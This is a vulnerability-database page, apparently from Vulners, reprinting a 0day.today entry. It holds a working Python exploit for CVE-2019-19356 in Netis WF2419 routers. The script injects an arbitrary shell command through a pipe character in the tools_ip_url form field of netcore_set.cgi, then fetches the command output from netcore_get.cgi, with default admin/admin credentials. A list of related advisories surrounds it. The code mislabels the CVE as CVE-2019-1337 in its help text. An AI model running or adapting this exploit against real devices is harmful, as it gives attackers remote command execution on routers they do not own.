Lucene search
+L

Netis WF2419 2.2.36123 - Remote Code Execution Exploit

🗓️ 02 Mar 2020 00:00:00Reported by Elias IssaType 
zdt
 zdt
🔗 0day.today👁 167 Views

Netis WF2419 RCE Exploi

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2019-19356
7 Feb 202000:00
–attackerkb
bdu_fstec
BDU FSTEC
Microsoft Windows Update Client Unauthorized Access
24 Oct 201900:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Netis WF2419 Router Ping Traceroute Command Injection Unauthorized Access
1 Dec 202100:00
–bdu_fstec
githubexploit
GithubExploit
Exploit for OS Command Injection in Netis-Systems Wf2419_Firmware
12 Dec 201911:01
–githubexploit
circl
Circl
CVE-2019-19356
15 Oct 202015:07
–circl
cisa_kev
CISA KEV Catalog
Netis WF2419 Devices Remote Code Execution Vulnerability
3 Nov 202100:00
–cisa_kev
cnvd
CNVD
Netis WF2419 Remote Code Execution Vulnerability
9 Feb 202000:00
–cnvd
checkpoint_advisories
Check Point Advisories
Netis WF2419 Remote Code Execution (CVE-2019-19356)
10 Sep 202000:00
–checkpoint_advisories
cve
CVE
CVE-2019-1337
10 Oct 201913:28
–cve
cve
CVE
CVE-2019-19356
7 Feb 202022:49
–cve
Rows per page
# Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution 
# Exploit Author: Elias Issa
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/75
# Version: WF2419 V2.2.36123 => V2.2.36123
# Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123
# CVE : CVE-2019-19356


# Proof of Concept: python netis_rce.py http://192.168.1.1 "ls"

#!/usr/bin/env python
import argparse
import requests
import json

def exploit(host,cmd):
	# Send Payload
	headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0',  
			'Content-Type': 'application/x-www-form-urlencoded'}
	post_data="mode_name=netcore_set&tools_type=2&tools_ip_url=|+"+cmd+"&tools_cmd=1&net_tools_set=1&wlan_idx_num=0"
	vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi"
	req_payload = requests.post(vulnerable_page, data=post_data, headers=headers_value)
	print('[+] Payload sent')
	try :
		json_data = json.loads(req_payload.text)
		if json_data[0] == "SUCCESS":
			print('[+] Exploit Sucess')
			# Get Command Result
			print('[+] Getting Command Output\n')
			result_page = host + "/cgi-bin-igd/netcore_get.cgi"
			post_data = "mode_name=netcore_get&no=no" 
			req_result = requests.post(result_page, data=post_data, headers=headers_value)
			json_data = json.loads(req_result.text)
			results = json_data["tools_results"]
			print results.replace(';', '\n')
		else:
			print('[-] Exploit Failed')
	except:
  		print("[!] You might need to login.") 

# To be implemented
def login(user, password):
	print('To be implemented')

def main():
    host = args.host
    cmd = args.cmd
    user = args.user
    password = args.password
    #login(user,password)
    exploit(host,cmd)

if __name__ == "__main__":
    ap = argparse.ArgumentParser(
            description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]")
    ap.add_argument("host", help="URL (Example: http://192.168.1.1).")
    ap.add_argument("cmd", help="Command to run.")
    ap.add_argument("-u", "--user", help="Admin username (Default: admin).",
            default="admin")
    ap.add_argument("-p", "--password", help="Admin password (Default: admin).",
            default="admin")
    args = ap.parse_args()
    main()

#  0day.today [2020-03-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation